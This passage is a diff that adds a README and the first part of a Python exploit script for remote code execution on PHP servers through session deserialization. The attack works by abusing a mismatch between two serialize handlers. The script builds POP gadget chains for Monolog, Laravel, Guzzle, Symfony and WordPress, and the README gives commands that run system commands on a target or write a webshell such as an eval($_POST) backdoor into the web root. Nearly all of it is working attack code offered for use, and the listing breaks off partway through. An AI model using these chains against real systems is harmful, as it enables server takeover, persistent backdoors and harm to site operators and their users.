`LogicException`. All other WP core gadget classes (`FilteredIterator`,
|
||||||
|
`Requests\Hooks`) are also patched. No known POP chain exists in WordPress
|
||||||
|
7.x core.
|
||||||
|
|
||||||
|
### Custom chains
|
||||||
|
|
||||||
|
Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output
|
||||||
|
and base64 (auto-detected).
|
||||||
|
|
||||||
|
```bash
|
||||||
|
phpggc Monolog/RCE1 system id > chain.bin
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \
|
||||||
|
--inject-param data \
|
||||||
|
--trigger-url http://target/view.php \
|
||||||
|
--chain-file chain.bin
|
||||||
|
|
||||||
|
# Or base64:
|
||||||
|
phpggc Laravel/RCE22 system id -b > chain.b64
|
||||||
|
python3 exploit.py ... --chain-file chain.b64
|
||||||
|
```
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# File write webshell (Monolog 3.x, current):
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \
|
||||||
|
--inject-param data \
|
||||||
|
--trigger-url http://target/view.php \
|
||||||
|
--chain monolog3-fw \
|
||||||
|
--write-path /var/www/html/shell.php
|
||||||
|
|
||||||
|
# Direct command execution (Laravel 10+, current):
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \
|
||||||
|
--inject-param data \
|
||||||
|
--trigger-url http://target/view.php \
|
||||||
|
--chain laravel10-cmd --cmd 'id'
|
||||||
|
|
||||||
|
# Custom shell code:
|
||||||
|
python3 exploit.py ... --chain monolog3-fw \
|
||||||
|
--write-path /var/www/html/s.php \
|
||||||
|
--shell-code '<?php eval($_POST["x"]); ?>'
|
||||||
|
|
||||||
|
# Progress mode (no POST-to-session endpoint needed):
|
||||||
|
python3 exploit.py --mode progress \
|
||||||
|
--write-url http://target/any_endpoint.php \
|
||||||
|
--trigger-url http://target/default_handler.php \
|
||||||
|
--chain wordpress-cmd --cmd 'id'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
```
|
||||||
|
--mode {inject,progress} Injection mode (default: inject)
|
||||||
|
--inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize)
|
||||||
|
--inject-param PARAM POST parameter stored in $_SESSION (default: data)
|
||||||
|
--write-url URL Any endpoint for progress mode injection
|
||||||
|
--trigger-url URL Endpoint using default php handler (triggers deserialization)
|
||||||
|
--chain CHAIN Built-in POP chain name
|
||||||
|
--chain-file FILE Custom serialized chain (phpggc output, raw or base64)
|
||||||
|
--write-path PATH File path for fw chains (webshell destination)
|
||||||
|
--shell-code CODE Custom PHP code for fw chains
|
||||||
|
--cmd CMD Command for cmd chains
|
||||||
|
--fields N OOM pressure fields for progress mode (default: 30000)
|
||||||
|
--field-size N Bytes per OOM field (default: 512)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Test Environment
|
||||||
|
|
||||||
|
The test endpoints used for verification:
|
||||||
|
|
||||||
|
`test_serialize.php` (inject endpoint, uses php_serialize):
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
ini_set('session.serialize_handler', 'php_serialize');
|
||||||
|
session_start();
|
||||||
|
foreach ($_POST as $k => $v) $_SESSION[$k] = $v;
|
||||||
|
```
|
||||||
|
|
||||||
|
`test_trigger.php` (trigger endpoint, uses default php handler):
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
require 'vendor/autoload.php'; // loads framework classes
|
||||||
|
session_start(); // deserializes session data
|
||||||
|
```
|
||||||
|
|
||||||
|
The mismatch between `php_serialize` on the first and `php` (default) on the
|
||||||
|
second is what enables the attack.
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
{
|
||||||
|
"require": {
|
||||||
|
"monolog/monolog": "1.27.1",
|
||||||
|
"fakerphp/faker": "^1.24"
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+995
@@ -0,0 +1,995 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
PHP Session Deserialization RCE via Handler Mismatch
|
||||||
|
|
||||||
|
No LFI. No FPM. Works on any SAPI (mod_php, FPM, litespeed, etc.).
|
||||||
|
|
||||||
|
Exploits the combination of:
|
||||||
|
1. session.upload_progress writes attacker data to session files
|
||||||
|
2. A session.serialize_handler mismatch between two endpoints
|
||||||
|
3. A POP gadget chain in the application's autoloaded classes
|
||||||
|
|
||||||
|
When one endpoint uses php_serialize and another uses the default php
|
||||||
|
handler, the pipe character '|' injected into session data is
|
||||||
|
misinterpreted as a key/value delimiter, causing arbitrary
|
||||||
|
deserialization of attacker-controlled objects.
|
||||||
|
|
||||||
|
Two injection modes:
|
||||||
|
|
||||||
|
inject (primary, full POP chain support)
|
||||||
|
Target has an endpoint that stores POST data in $_SESSION via
|
||||||
|
php_serialize handler. Attacker sends |<serialized_chain> as
|
||||||
|
a POST value. A second request to a php-handler endpoint
|
||||||
|
triggers deserialization when session_start() reads the file.
|
||||||
|
|
||||||
|
progress (no app involvement, limited chains)
|
||||||
|
Uses session.upload_progress to inject '|' via the upload
|
||||||
|
filename. No application session storage needed, but the
|
||||||
|
multipart parser truncates NULL bytes in filenames, so the
|
||||||
|
POP chain can only use public properties. Combined with
|
||||||
|
OOM crash (CVE-2026-109618) to persist past cleanup.
|
||||||
|
|
||||||
|
Handler mismatch is common in the wild:
|
||||||
|
- Laravel sets php_serialize in its bootstrap; any non-Laravel
|
||||||
|
PHP on the same vhost (phpMyAdmin, admin scripts, legacy code)
|
||||||
|
uses the default php handler
|
||||||
|
- Symfony configures php_serialize; adjacent apps may not
|
||||||
|
- Mixed old/new codebases on shared hosting
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
- session.upload_progress.enabled = 1 (default, for progress mode)
|
||||||
|
- Two endpoints with different session.serialize_handler settings
|
||||||
|
- A POP gadget chain in autoloaded classes
|
||||||
|
- session.save_handler = files (default)
|
||||||
|
|
||||||
|
Built-in chains (--chain):
|
||||||
|
monolog3-fw Monolog 3.0+ FW (CURRENT) --write-path /path/shell.php
|
||||||
|
monolog-cmd Monolog 1.17.2-2.x RCE --cmd 'id'
|
||||||
|
monolog-fw Monolog 1.17.2-2.x FW --write-path /path/shell.php
|
||||||
|
laravel10-cmd Laravel 10.0-13.x+ (CURRENT) --cmd 'id'
|
||||||
|
laravel10-fw Laravel 10.0-13.x+ (CURRENT) --write-path /path/shell.php
|
||||||
|
laravel-cmd Laravel/Illuminate 5.4-8.x --cmd 'id'
|
||||||
|
laravel-fw Laravel/Illuminate 5.4-8.x --write-path /path/shell.php
|
||||||
|
guzzle-fw Guzzle 4.0-7.x FW --write-path /path/shell.php
|
||||||
|
symfony-cmd Symfony 2.6-4.4.18 RCE --cmd 'id'
|
||||||
|
symfony-fw Symfony 2.6-4.4.18 FW --write-path /path/shell.php
|
||||||
|
wordpress-cmd WordPress 6.4.0-6.4.1 RCE --cmd 'id' (NULL-free)
|
||||||
|
wordpress-fw WordPress 6.4.0-6.4.1 FW --write-path /path/shell.php
|
||||||
|
|
||||||
|
Custom chains (--chain-file):
|
||||||
|
phpggc Laravel/RCE1 system id > chain.bin
|
||||||
|
python3 exploit.py ... --chain-file chain.bin
|
||||||
|
|
||||||
|
Tested: PHP 8.0-8.4, Linux, mod_php and PHP-FPM.
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
# Inject mode (most practical):
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \\
|
||||||
|
--inject-param data \\
|
||||||
|
--trigger-url http://target/view.php \\
|
||||||
|
--chain monolog-fw \\
|
||||||
|
--write-path /var/www/html/s.php
|
||||||
|
|
||||||
|
# Inject mode with direct command execution:
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \\
|
||||||
|
--inject-param data \\
|
||||||
|
--trigger-url http://target/view.php \\
|
||||||
|
--chain monolog-cmd --cmd 'id'
|
||||||
|
|
||||||
|
# Custom phpggc chain (raw or base64):
|
||||||
|
phpggc Monolog/RCE1 system id > chain.bin
|
||||||
|
python3 exploit.py --inject-url http://target/save.php \\
|
||||||
|
--inject-param data \\
|
||||||
|
--trigger-url http://target/view.php \\
|
||||||
|
--chain-file chain.bin
|
||||||
|
|
||||||
|
# Progress mode (no app session injection needed):
|
||||||
|
python3 exploit.py --mode progress \\
|
||||||
|
--write-url http://target/serialize.php \\
|
||||||
|
--trigger-url http://target/default.php \\
|
||||||
|
--chain-file chain_pub.bin
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import urllib.parse
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
# PHP serialization
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
def php_str(s):
|
||||||
|
if isinstance(s, str):
|
||||||
|
s = s.encode()
|
||||||
|
return b"s:" + str(len(s)).encode() + b':"' + s + b'";'
|
||||||
|
|
||||||
|
def php_int(n):
|
||||||
|
return b"i:" + str(n).encode() + b";"
|
||||||
|
|
||||||
|
def php_bool(v):
|
||||||
|
return b"b:" + (b"1" if v else b"0") + b";"
|
||||||
|
|
||||||
|
def php_null():
|
||||||
|
return b"N;"
|
||||||
|
|
||||||
|
def php_arr(entries):
|
||||||
|
body = b"".join(k + v for k, v in entries)
|
||||||
|
return b"a:" + str(len(entries)).encode() + b":{" + body + b"}"
|
||||||
|
|
||||||
|
def php_obj(cls, props):
|
||||||
|
body = b"".join(k + v for k, v in props)
|
||||||
|
cn = cls.encode() if isinstance(cls, str) else cls
|
||||||
|
return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":'
|
||||||
|
+ str(len(props)).encode() + b":{" + body + b"}")
|
||||||
|
|
||||||
|
def php_enum(cls, case):
|
||||||
|
label = f"{cls}:{case}"
|
||||||
|
return b"E:" + str(len(label)).encode() + b':"' + label.encode() + b'";'
|
||||||
|
|
||||||
|
def php_datetime_immutable():
|
||||||
|
from datetime import datetime, timezone
|
||||||
|
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S.000000")
|
||||||
|
return php_obj("DateTimeImmutable", [
|
||||||
|
(php_str("date"), php_str(now)),
|
||||||
|
(php_str("timezone_type"), php_int(3)),
|
||||||
|
(php_str("timezone"), php_str("UTC")),
|
||||||
|
])
|
||||||
|
|
||||||
|
def prot(name):
|
||||||
|
n = name.encode() if isinstance(name, str) else name
|
||||||
|
return php_str(b"\x00*\x00" + n)
|
||||||
|
|
||||||
|
def priv(cls, name):
|
||||||
|
c = cls.encode() if isinstance(cls, str) else cls
|
||||||
|
n = name.encode() if isinstance(name, str) else name
|
||||||
|
return php_str(b"\x00" + c + b"\x00" + n)
|
||||||
|
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
# POP gadget chains
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
def _rce1_chain(func, param):
|
||||||
|
"""Monolog/RCE1 gadget (1.4.1-1.6.0, 1.17.2-2.7.0+).
|
||||||
|
|
||||||
|
SyslogUdpHandler.__destruct (inherited AbstractHandler.__destruct)
|
||||||
|
-> close()
|
||||||
|
-> $this->socket->close() socket = BufferHandler
|
||||||
|
BufferHandler::close -> flush
|
||||||
|
-> $this->handler->handleBatch($this->buffer) handler = $this (self-ref)
|
||||||
|
AbstractHandler::handleBatch -> foreach handle($record)
|
||||||
|
BufferHandler::handle -> call_user_func($processor, $record) for each processor
|
||||||
|
processors[0] = 'current' -> current([$param, 'level'=>null]) = $param
|
||||||
|
processors[1] = $func -> $func($param)
|
||||||
|
"""
|
||||||
|
# r:2 is a PHP serialization back-reference to object #2, the BufferHandler
|
||||||
|
# itself. This creates the self-referencing handler=$this that phpggc uses.
|
||||||
|
# We build it by hand: emit SyslogUdpHandler wrapping BufferHandler,
|
||||||
|
# with handler pointing back to the BufferHandler via reference.
|
||||||
|
|
||||||
|
record = php_arr([
|
||||||
|
(php_int(0), php_str(param)),
|
||||||
|
(php_str("level"), php_null()),
|
||||||
|
])
|
||||||
|
|
||||||
|
buf = php_obj("Monolog\\Handler\\BufferHandler", [
|
||||||
|
(prot("handler"), b"r:2;"), # back-ref to self (object index 2)
|
||||||
|
(prot("bufferSize"), php_int(-1)),
|
||||||
|
(prot("buffer"), php_arr([(php_int(0), record)])),
|
||||||
|
(prot("level"), php_null()),
|
||||||
|
(prot("initialized"), php_bool(True)),
|
||||||
|
(prot("bufferLimit"), php_int(-1)),
|
||||||
|
(prot("processors"), php_arr([
|
||||||
|
(php_int(0), php_str("current")),
|
||||||
|
(php_int(1), php_str(func)),
|
||||||
|
])),
|
||||||
|
])
|
||||||
|
|
||||||
|
return php_obj("Monolog\\Handler\\SyslogUdpHandler", [
|
||||||
|
(prot("socket"), buf),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def chain_monolog_fw(write_path, shell_code):
|
||||||
|
"""Monolog file write via system() (1.4.1-1.6.0, 1.17.2-2.x).
|
||||||
|
|
||||||
|
Uses the Monolog/RCE1 gadget to call system() with a printf command
|
||||||
|
that writes shell_code to write_path.
|
||||||
|
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
|
||||||
|
"""
|
||||||
|
escaped_code = shell_code.replace("'", "'\\''")
|
||||||
|
escaped_path = write_path.replace("'", "'\\''")
|
||||||
|
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||||
|
return _rce1_chain("system", cmd)
|
||||||
|
|
||||||
|
|
||||||
|
def chain_monolog_cmd(cmd):
|
||||||
|
"""Monolog RCE via system() (1.4.1-1.6.0, 1.17.2-2.x).
|
||||||
|
|
||||||
|
Uses the Monolog/RCE1 gadget to call system($cmd).
|
||||||
|
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
|
||||||
|
"""
|
||||||
|
return _rce1_chain("system", cmd)
|
||||||
|
|
||||||
|
|
||||||
|
def chain_monolog3_fw(write_path, shell_code):
|
||||||
|
"""Monolog file write via DeduplicationHandler (3.0.0+, current).
|
||||||
|
|
||||||
|
GroupHandler.__destruct (inherited from Handler)
|
||||||
|
-> close()
|
||||||
|
-> foreach $this->handlers: $handler->close()
|
||||||
|
DeduplicationHandler::close -> flush()
|
||||||
|
-> file_put_contents($this->deduplicationStore, $line, FILE_APPEND)
|
||||||
|
Written format: "timestamp:DEBUG:message\\n"
|
||||||
|
PHP ignores content before <?php, so the prefix is harmless.
|
||||||
|
|
||||||
|
Monolog 3.x uses typed properties (PHP 8.1+ enums for Level),
|
||||||
|
so the Monolog 2.x RCE1 chain fails. This chain uses GroupHandler
|
||||||
|
as entry (array-typed handlers property) and DeduplicationHandler
|
||||||
|
as sink (file_put_contents with controlled path and message).
|
||||||
|
|
||||||
|
Requires monolog/monolog 3.0+ (production dep in Laravel 10+,
|
||||||
|
Symfony 6+, and many other frameworks).
|
||||||
|
"""
|
||||||
|
shell_code_clean = shell_code.replace("\r", " ").replace("\n", " ")
|
||||||
|
|
||||||
|
log_record = php_obj("Monolog\\LogRecord", [
|
||||||
|
(php_str("level"), php_enum("Monolog\\Level", "Debug")),
|
||||||
|
(php_str("message"), php_str(shell_code_clean)),
|
||||||
|
(php_str("datetime"), php_datetime_immutable()),
|
||||||
|
])
|
||||||
|
|
||||||
|
dedup = php_obj("Monolog\\Handler\\DeduplicationHandler", [
|
||||||
|
(prot("deduplicationStore"), php_str(write_path)),
|
||||||
|
(prot("bufferSize"), php_int(1)),
|
||||||
|
(prot("buffer"), php_arr([(php_int(0), log_record)])),
|
||||||
|
(prot("deduplicationLevel"), php_enum("Monolog\\Level", "Debug")),
|
||||||
|
])
|
||||||
|
|
||||||
|
return php_obj("Monolog\\Handler\\GroupHandler", [
|
||||||
|
(prot("handlers"), php_arr([(php_int(0), dedup)])),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def chain_laravel_cmd(cmd):
|
||||||
|
"""Laravel RCE via PendingBroadcast (5.4.0-8.6.9+).
|
||||||
|
|
||||||
|
PendingBroadcast.__destruct
|
||||||
|
-> $this->events->dispatch($this->event)
|
||||||
|
Dispatcher::dispatch($event)
|
||||||
|
-> foreach $this->listeners[$event] as $listener: $listener($event)
|
||||||
|
-> system($cmd)
|
||||||
|
|
||||||
|
$this->event = $cmd (the command string)
|
||||||
|
$this->listeners[$cmd] = ['system']
|
||||||
|
|
||||||
|
Requires illuminate/events + illuminate/broadcasting
|
||||||
|
(always present in Laravel).
|
||||||
|
"""
|
||||||
|
dispatcher = php_obj("Illuminate\\Events\\Dispatcher", [
|
||||||
|
(prot("listeners"), php_arr([
|
||||||
|
(php_str(cmd), php_arr([
|
||||||
|
(php_int(0), php_str("system")),
|
||||||
|
])),
|
||||||
|
])),
|
||||||
|
])
|
||||||
|
|
||||||
|
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
|
||||||
|
(prot("events"), dispatcher),
|
||||||
|
(prot("event"), php_str(cmd)),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def chain_laravel_fw(write_path, shell_code):
|
||||||
|
"""Laravel file write via system() (5.4.0-8.6.9+).
|
||||||
|
|
||||||
|
Same PendingBroadcast gadget, calls system() with a write command.
|
||||||
|
"""
|
||||||
|
escaped_code = shell_code.replace("'", "'\\''")
|
||||||
|
escaped_path = write_path.replace("'", "'\\''")
|
||||||
|
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||||
|
return chain_laravel_cmd(cmd)
|
||||||
|
|
||||||
|
|
||||||
|
def chain_laravel10_cmd(cmd):
|
||||||
|
"""Laravel RCE via PendingBroadcast + CommonMark (10.0-13.x+, current).
|
||||||
|
|
||||||
|
PendingBroadcast.__destruct
|
||||||
|
-> $this->events->dispatch($this->event)
|
||||||
|
Environment::dispatch($event)
|
||||||
|
-> foreach listenerData as prioritized listeners
|
||||||
|
-> ListenerData->listener is ChainedBatchTruthTest
|
||||||
|
ChainedBatchTruthTest::__invoke($event)
|
||||||
|
-> call_user_func($this->callback, $event)
|
||||||
|
-> system($cmd)
|
||||||
|
|
||||||
|
Channel.__toString returns $this->name, so $event becomes the
|
||||||
|
command string when passed to system().
|
||||||
|
|
||||||
|
Requires illuminate/broadcasting + league/commonmark (both present
|
||||||
|
in all Laravel 10+ installations).
|
||||||
|
"""
|
||||||
|
env_cls = "League\\CommonMark\\Environment\\Environment"
|
||||||
|
list_cls = "League\\CommonMark\\Util\\PrioritizedList"
|
||||||
|
ld_cls = "League\\CommonMark\\Event\\ListenerData"
|
||||||
|
|
||||||
|
truth_test = php_obj(
|
||||||
|
"Illuminate\\Support\\Testing\\Fakes\\ChainedBatchTruthTest", [
|
||||||
|
(prot("callback"), php_str("system")),
|
||||||
|
])
|
||||||
|
|
||||||
|
listener_data = php_obj(ld_cls, [
|
||||||
|
(priv(ld_cls, "event"),
|
||||||
|
php_str("\\Illuminate\\Broadcasting\\Channel")),
|
||||||
|
(priv(ld_cls, "listener"), truth_test),
|
||||||
|
])
|
||||||
|
|
||||||
|
plist = php_obj(list_cls, [
|
||||||
|
(priv(list_cls, "list"), php_arr([
|
||||||
|
(php_int(0), php_arr([(php_int(0), listener_data)])),
|
||||||
|
])),
|
||||||
|
])
|
||||||
|
|
||||||
|
environment = php_obj(env_cls, [
|
||||||
|
(priv(env_cls, "extensionsInitialized"), php_bool(True)),
|
||||||
|
(priv(env_cls, "listenerData"), plist),
|
||||||
|
])
|
||||||
|
|
||||||
|
channel = php_obj("Illuminate\\Broadcasting\\Channel", [
|
||||||
|
(php_str("name"), php_str(cmd)),
|
||||||
|
])
|
||||||
|
|
||||||
|
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
|
||||||
|
(prot("events"), environment),
|
||||||
|
(prot("event"), channel),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def chain_laravel10_fw(write_path, shell_code):
|
||||||
|
"""Laravel file write via system() (10.0-13.x+, current).
|
||||||
|
|
||||||
|
Same PendingBroadcast + CommonMark gadget, calls system() with a
|
||||||
|
write command.
|
||||||
|
"""
|
||||||
|
escaped_code = shell_code.replace("'", "'\\''")
|
||||||
|
escaped_path = write_path.replace("'", "'\\''")
|
||||||
|
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||||
|
return chain_laravel10_cmd(cmd)
|
||||||
|
|
||||||
|
|
||||||
|
def chain_guzzle_fw(write_path, data):
|
||||||
|
"""Guzzle file write via FileCookieJar (4.0.0-7.x, patched in 8.0).
|
||||||
|
|
||||||
|
FileCookieJar.__destruct -> save()
|
||||||
|
-> file_put_contents($this->filename, json_encode(...))
|
||||||
|
Writes JSON-encoded cookie data. The 'Value' field holds the payload.
|
||||||
|
|
||||||
|
The written file contains JSON wrapping around the payload.
|
||||||
|
PHP ignores everything before <?php, so a webshell embedded in the
|
||||||
|
Value field works when accessed via HTTP. Use single quotes in the
|
||||||
|
shell code to avoid JSON backslash escaping (double quotes become
|
||||||
|
\" in JSON output, which breaks PHP parsing).
|
||||||
|
|
||||||
|
Guzzle 8.0+ added __unserialize() that throws on deserialization.
|
||||||
|
|
||||||
|
Requires guzzlehttp/guzzle (extremely common HTTP client).
|
||||||
|
"""
|
||||||
|
cookie = php_obj("GuzzleHttp\\Cookie\\SetCookie", [
|
||||||
|
(priv("GuzzleHttp\\Cookie\\SetCookie", "data"), php_arr([
|
||||||
|
(php_str("Expires"), php_int(1)),
|
||||||
|
(php_str("Discard"), php_bool(False)),
|
||||||
|
(php_str("Value"), php_str(data)),
|
||||||
|
])),
|
||||||
|
])
|
||||||
|
|
||||||
|
jar = php_obj("GuzzleHttp\\Cookie\\FileCookieJar", [
|
||||||
|
(priv("GuzzleHttp\\Cookie\\CookieJar", "cookies"), php_arr([
|
||||||
|
(php_int(0), cookie),
|
||||||
|
])),
|
||||||
|
(priv("GuzzleHttp\\Cookie\\CookieJar", "strictMode"), php_bool(False)),
|
||||||
|
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "filename"), php_str(write_path)),
|
||||||
|
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "storeSessionCookies"), php_bool(True)),
|
||||||
|
])
|
||||||
|
|
||||||
|
return jar
|
||||||
|
|
||||||
|
|
||||||
|
def chain_symfony_cmd(cmd):
|
||||||
|
"""Symfony RCE via WindowsPipes (2.6.0-4.4.18).
|
||||||
|
|
||||||
|
WindowsPipes.__destruct -> close -> foreach $this->fileHandles: fclose($h)
|
||||||
|
$fileHandles is a SortableIterator wrapping an ArrayObject:
|
||||||
|
SortableIterator implements IteratorAggregate
|
||||||
|
getIterator() calls usort($array, $this->sort) where sort='call_user_func'
|
||||||
|
usort compares elements via call_user_func($a, $b)
|
||||||
|
ArrayObject contains [$function, $parameter]
|
||||||
|
-> call_user_func('system', $cmd)
|
||||||
|
|
||||||
|
Requires symfony/finder + symfony/process (present in all Symfony apps).
|
||||||
|
"""
|
||||||
|
arr = php_obj("ArrayObject", [
|
||||||
|
(php_int(0), php_str(cmd)),
|
||||||
|
(php_int(1), php_str("system")),
|
||||||
|
])
|
||||||
|
|
||||||
|
# ArrayObject serializes differently: uses C: format
|
||||||
|
# We need to use the C: custom serialization format for ArrayObject
|
||||||
|
# Use O: format (works for ArrayObject deserialization):
|
||||||
|
# i:0 = flags(0), i:1 = storage array, i:2 = members(empty), i:3 = null
|
||||||
|
# Storage: [0 => $func, 1 => $param] so uasort compares call_user_func($func, $param)
|
||||||
|
arr = (b'O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{i:0;s:6:"system";i:1;'
|
||||||
|
+ php_str(cmd) + b"}i:2;a:0:{}i:3;N;}")
|
||||||
|
|
||||||
|
sortable = php_obj("Symfony\\Component\\Finder\\Iterator\\SortableIterator", [
|
||||||
|
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "iterator"), arr),
|
||||||
|
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "sort"), php_str("call_user_func")),
|
||||||
|
])
|
||||||
|
|
||||||
|
return php_obj("Symfony\\Component\\Process\\Pipes\\WindowsPipes", [
|
||||||
|
(priv("Symfony\\Component\\Process\\Pipes\\WindowsPipes", "fileHandles"), sortable),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def chain_symfony_fw(write_path, shell_code):
|
||||||
|
"""Symfony file write via system() (2.6.0-4.4.18).
|
||||||
|
|
||||||
|
Same WindowsPipes gadget, calls system() with a write command.
|
||||||
|
"""
|
||||||
|
escaped_code = shell_code.replace("'", "'\\''")
|
||||||
|
escaped_path = write_path.replace("'", "'\\''")
|
||||||
|
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||||
|
return chain_symfony_cmd(cmd)
|
||||||
|
|
||||||
|
|
||||||
|
def chain_wordpress_cmd(cmd):
|
||||||
|
"""WordPress RCE via WP_HTML_Token (6.4.0-6.4.1).
|
||||||
|
|
||||||
|
WP_HTML_Token.__destruct
|
||||||
|
-> ($this->on_destroy)($this->bookmark_name)
|
||||||
|
-> system($cmd)
|
||||||
|
|
||||||
|
Uses only PUBLIC properties, so this chain works in progress mode
|
||||||
|
(no NULL bytes from protected/private property names).
|
||||||
|
|
||||||
|
Requires WordPress 6.4.0 or 6.4.1 (patched in 6.4.2).
|
||||||
|
"""
|
||||||
|
return php_obj("WP_HTML_Token", [
|
||||||
|
(php_str("bookmark_name"), php_str(cmd)),
|
||||||
|
(php_str("on_destroy"), php_str("system")),
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
def chain_wordpress_fw(write_path, shell_code):
|
||||||
|
"""WordPress file write via WP_HTML_Token (6.4.0-6.4.1).
|
||||||
|
|
||||||
|
Same gadget, calls system() with a write command.
|
||||||
|
Public properties only: works in progress mode.
|
||||||
|
"""
|
||||||
|
escaped_code = shell_code.replace("'", "'\\''")
|
||||||
|
escaped_path = write_path.replace("'", "'\\''")
|
||||||
|
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||||
|
return chain_wordpress_cmd(cmd)
|
||||||
|
|
||||||
|
|
||||||
|
CHAINS = {
|
||||||
|
"monolog3-fw": {"type": "fw", "fn": chain_monolog3_fw, "lib": "monolog/monolog 3.0+"},
|
||||||
|
"monolog-cmd": {"type": "cmd", "fn": chain_monolog_cmd, "lib": "monolog/monolog 1.17.2-2.x"},
|
||||||
|
"monolog-fw": {"type": "fw", "fn": chain_monolog_fw, "lib": "monolog/monolog 1.17.2-2.x"},
|
||||||
|
"laravel10-cmd": {"type": "cmd", "fn": chain_laravel10_cmd, "lib": "illuminate 10.0-13.x+"},
|
||||||
|
"laravel10-fw": {"type": "fw", "fn": chain_laravel10_fw, "lib": "illuminate 10.0-13.x+"},
|
||||||
|
"laravel-cmd": {"type": "cmd", "fn": chain_laravel_cmd, "lib": "illuminate 5.4-8.x"},
|
||||||
|
"laravel-fw": {"type": "fw", "fn": chain_laravel_fw, "lib": "illuminate 5.4-8.x"},
|
||||||
|
"guzzle-fw": {"type": "fw", "fn": chain_guzzle_fw, "lib": "guzzlehttp/guzzle 4.0-7.x"},
|
||||||
|
"symfony-cmd": {"type": "cmd", "fn": chain_symfony_cmd, "lib": "symfony 2.6-4.4.18"},
|
||||||
|
"symfony-fw": {"type": "fw", "fn": chain_symfony_fw, "lib": "symfony 2.6-4.4.18"},
|
||||||
|
"wordpress-cmd": {"type": "cmd", "fn": chain_wordpress_cmd, "lib": "WordPress 6.4.0-6.4.1"},
|
||||||
|
"wordpress-fw": {"type": "fw", "fn": chain_wordpress_fw, "lib": "WordPress 6.4.0-6.4.1"},
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
# HTTP helpers (raw sockets for binary payloads)
|
||||||
|
# ═══════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
def tcp_connect(host, port, tls, timeout=30):
|
||||||
|
sock = socket.create_connection((host, port), timeout=timeout)
|
||||||
|
if tls:
|
||||||
|
import ssl
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||||
|
return sock
|
||||||
|
|
||||||
|
|
||||||
|
def recv_all(sock, timeout=10):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def status_code(resp):
|
||||||
|
try:
|
||||||
|
return int(resp.split(b" ")[1])
|
||||||
|
except (IndexError, ValueError):
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def body_of(resp):
|
||||||
|
if b"\r\n\r\n" not in resp:
|
||||||
|
return resp
|
||||||
|
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
||||||
|
if b"transfer-encoding: chunked" in hdr.lower():
|
||||||
|
out, data = b"", raw
|
||||||
|
while data:
|
||||||
|
nl = data.find(b"\r\n")
|
||||||
|
if nl < 0:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
||||||
|
except ValueError:
|
||||||
|
break
|
||||||
|
if clen == 0:
|
||||||
|
break
|
||||||
|
out += data[nl+2:nl+2+clen]
|
||||||
|
data = data[nl+2+clen+2:]
|
||||||
|
return out
|
||||||
|
return raw
|
||||||
|
|
||||||
|
|
||||||
|
def extract_cookies(resp):
|
||||||
|
